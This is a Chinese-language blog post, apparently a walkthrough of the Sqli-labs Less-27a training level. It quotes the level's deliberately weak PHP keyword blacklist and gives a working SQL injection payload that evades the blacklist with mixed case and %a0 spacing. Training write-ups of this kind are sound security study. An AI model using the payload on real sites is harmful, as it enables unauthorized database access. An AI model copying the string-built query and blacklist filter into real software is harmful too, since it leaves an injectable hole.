• Sqli-labs Less-27a 绕过union、select等过滤 union注入


    关键代码

    function blacklist($id)
    {
    $id= preg_replace('/[/*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);            //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);        //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);        //Strip out union
    $id= preg_replace('/select/s',"", $id);        //Strip out select
    $id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);        //Strip out Union
    $id= preg_replace('/Select/s',"", $id);        //Strip out Select
    return $id;
    }
    $id=$_GET['id'];
    $id= blacklist($id);
    $id = '"' .$id. '"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    //print_r(mysql_error());

    本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。

    我们根据27关直接给出一个示例payload:

    http://127.0.0.1/sql/Less-27a/?id=100"unIOn%a0seLect%a01,database(),"3

    TIPS:这里说下以上payload我们利用最后的3前面的 " 将后面的 " 给闭合掉。或者亦可以利用以前的方法 1,database(),3 || "1,同时本关可以用延时注入的方法进行注入。

  • 相关阅读:
    FastDFS集群安装说明
    关于Sentaurus的日常(一)(Basics)
    关于Sentaurus的日常(三)
    记录程序运行时间之clock 函数
    Mysql 使用经验 2013
    proxy ip 收集方式总结
    操作系统的默认格式的陷阱
    VNC server 使用手记
    div body 间距
    asp.net处女作
  • 原文地址:https://www.cnblogs.com/zhengna/p/12655467.html
Copyright © 2020-2023  润新知